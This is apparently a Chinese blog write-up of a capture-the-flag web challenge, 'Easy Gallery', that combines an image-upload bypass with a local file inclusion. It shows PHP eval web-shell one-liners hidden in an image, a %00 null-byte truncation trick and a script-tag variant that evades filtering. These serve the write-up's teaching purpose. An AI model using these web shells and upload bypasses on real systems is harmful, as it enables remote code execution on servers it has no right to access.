CTF-WEB-Easy Gallery #文件上傳#文件包含

描述:

"沒有什么防護(hù)是一個漏洞解決不了的,如果有,那就....."http://web.jarvisoj.com:32785/
Easy Gallery
Submit Your photos and descriptions of photos~

上傳頁面

http://web.jarvisoj.com:32785/index.php?page=submit
查看頁面

http://web.jarvisoj.com:32785/index.php?page=view

分析:

  1. 感覺是要傳圖片但是執(zhí)行作為php解析并執(zhí)行命令(),而且坑不止一個!
    先改文件名,好的不給傳,不是前端校驗。


再改Content-Type,好的不給傳,并不是那種會被輕易蒙蔽的系統(tǒng)!


識別文件頭
  1. 既然檢查文件內(nèi)容了那么感覺是不是圖片馬呢!在圖片內(nèi)容后面跟了個一句話,上傳成功。在view界面輸入id查看圖片http://web.jarvisoj.com:32785/show.php?id=1536503255&type=jpg。
    查看源代碼<img src="uploads/1536503255.jpg"/>得到http://web.jarvisoj.com:32785/uploads/1536503255.jpg的絕對地址,訪問了下,是的。然后就不知道干啥了,為什么到這里還不給我flag?。ǎ?br>
  1. 然后大佬說因為參數(shù)=filename所以看起來就像文件包含,好吧你說像就像。文件包含的時候發(fā)現(xiàn)后面為何自動帶了個.php,賊心一起,用%00截斷發(fā)現(xiàn)是可以解析的,只不過提示you shall not pass"you should not do this"。思路再次卡死。
    文件包含

    %00截斷
  2. 然后大佬說感覺可能是php一句話的什么被過濾了,換用:<script language="php">@eval_r($_POST['cmd'])</script>
    換句話
解析成功

得到flag:CTF{upl0ad_sh0uld_n07_b3_a110wed}

總結(jié)

  1. 串一下思路,首先是把php上傳(改文件名、改Content-Type,改文件內(nèi)容),然后是如何解析并執(zhí)行php(web容器的解析漏洞、php文件包含)。ctf題不會需要你連菜刀搞事的()。
  2. 這是一道常識題,我們來存一下常識。
    <?php @eval($_POST['pwd']);?>
    <script language="php">@eval_r($_POST['pwd'])</script>
    CTF從入門到放棄
最后編輯于
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請聯(lián)系作者
【社區(qū)內(nèi)容提示】社區(qū)部分內(nèi)容疑似由AI輔助生成,瀏覽時請結(jié)合常識與多方信息審慎甄別。
平臺聲明:文章內(nèi)容(如有圖片或視頻亦包括在內(nèi))由作者上傳并發(fā)布,文章內(nèi)容僅代表作者本人觀點,簡書系信息發(fā)布平臺,僅提供信息存儲服務(wù)。

友情鏈接更多精彩內(nèi)容